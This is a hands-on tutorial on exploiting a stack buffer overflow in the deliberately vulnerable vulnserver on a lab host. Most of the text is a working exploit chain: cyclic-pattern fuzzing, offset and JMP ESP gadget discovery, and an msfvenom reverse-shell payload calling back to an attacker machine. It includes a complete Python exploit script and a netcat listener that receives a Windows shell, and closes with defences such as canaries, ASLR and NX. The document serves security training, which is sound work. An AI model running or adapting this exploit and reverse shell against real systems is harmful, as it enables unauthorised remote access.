In 2003, the Slammer worm exploited a stack-based buffer overflow in Microsoft SQL Server and infected 75,000 machines in ten minutes. The same class of bug still appears in embedded firmware, legacy enterprise software, and CTF challenges today. This guide walks you through finding and exploiting a stack buffer overflow — from fuzzing to shell — using a deliberately vulnerable binary on a lab machine at 192.0.2.47.
Step 1: Crash the Target and Find the Offset
Our target is vulnserver running on port 9999. The goal is to overwrite the saved return address on the stack. First, we fuzz it with a cyclic pattern to find exactly how many bytes reach EIP — the instruction pointer that controls where execution goes next.
# Generate a 500-byte cyclic pattern
$ python3 -c "
import pwn
print(pwn.cyclic(500).decode())
" | nc 192.0.2.47 9999
# The service crashes. Now check the core dump with GDB:
$ gdb -q vulnserver core
(gdb) info registers eip
eip 0x6161616e 0x6161616e
# Find the offset
$ python3 -c "import pwn; print(pwn.cyclic_find(0x6161616e))"
212
EIP holds 0x6161616e — that is the ASCII pattern “aaan”. The cyclic_find call tells us the overwrite happens at byte 212. Everything before that is junk padding; bytes 213–216 land directly in EIP. That means we control exactly where the CPU jumps next.
What an attacker does next: verify the offset is correct by sending 212 A’s followed by four B’s (\x42\x42\x42\x42) and confirming EIP shows 42424242 in GDB. If it does, the offset is confirmed and we move to shellcode placement.
Step 2: Find a JMP ESP Gadget and Place Shellcode
We cannot hardcode a stack address — ASLR shifts it each run. Instead, we find a JMP ESP instruction inside a module that lacks ASLR and NX. mona.py is a GDB/Immunity Debugger plugin that automates this search.
# Inside Immunity Debugger on the target (192.0.2.47)
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# mona output (trimmed):
0x625011af : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll]
ASLR: False | Rebase: False | NX: False
# Confirm in GDB:
(gdb) x/i 0x625011af
0x625011af: jmp *%esp
essfunc.dll is loaded without ASLR or NX, so 0x625011af is a stable address every run. The bad bytes filter (-cpb) excludes null bytes and newlines that would truncate our payload in memory. We write this address into EIP — in little-endian: \xaf\x11\x50\x62 — and the CPU lands on whatever is in ESP, which is exactly where our shellcode lives.
Now build the exploit. We use msfvenom — Metasploit’s payload generator — to create a reverse shell avoiding the same bad bytes.
$ msfvenom -p windows/shell_reverse_tcp \
LHOST=192.0.2.10 LPORT=4444 \
-b "\x00\x0a\x0d" \
-f python -v shellcode
# Output:
shellcode = b""
shellcode += b"\xdb\xc0\xd9\x74\x24\xf4\x5a\x29"
shellcode += b"\xc9\xb1\x52\x31\x42\x17\x83\xea"
# ... (351 bytes total)
# Full exploit skeleton:
buf = b"A" * 212 # padding to EIP
buf += b"\xaf\x11\x50\x62" # JMP ESP address (little-endian)
buf += b"\x90" * 16 # NOP sled
buf += shellcode # reverse shell payload
import socket
s = socket.socket()
s.connect(("192.0.2.47", 9999))
s.send(buf)
s.close()
The NOP sled (\x90 bytes — no-operation instructions) gives the shellcode a safe landing zone if ESP is off by a few bytes. On the attacker machine at 192.0.2.10, start a listener before firing the exploit.
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connect to 192.0.2.47 port 4444 from 192.0.2.47 [192.0.2.47]
Microsoft Windows [Version 10.0.19044]
C:\vulnserver>
Shell received. The sequence — padding, JMP ESP address, NOP sled, shellcode — is the classic stack smash blueprint. Every variable (offset, gadget, bad bytes) was measured, not guessed.
Defending Against This: What Actually Stops It
Three controls break this exploit chain at different points:
- Stack Canaries — a random value placed before the return address. If it changes, the process aborts before EIP is ever used. Enabled at compile time with
-fstack-protector-allin GCC. - ASLR + PIE — randomizes the base address of every module, making stable gadget addresses like
0x625011afimpossible without a leak. Enforce on Linux withecho 2 > /proc/sys/kernel/randomize_va_space. - NX / DEP — marks the stack non-executable so the CPU refuses to run shellcode sitting on it. Modern compilers enable this by default; verify with
checksec --file=vulnserver.
A real hardened binary forces an attacker into Return-Oriented Programming (ROP) — chaining existing code gadgets instead of injecting shellcode. That is significantly harder and noisier to pull off.
What To Do Now
Download protostar (the classic exploit-training VM from Exploit Education) and work through the stack0 through stack7 challenges. Run each binary under GDB, reproduce every crash, and find the offset yourself with pwntools cyclic. By stack5 you will have landed your first real shell through a buffer overflow — no hand-holding, just the stack, a pattern, and a debugger.
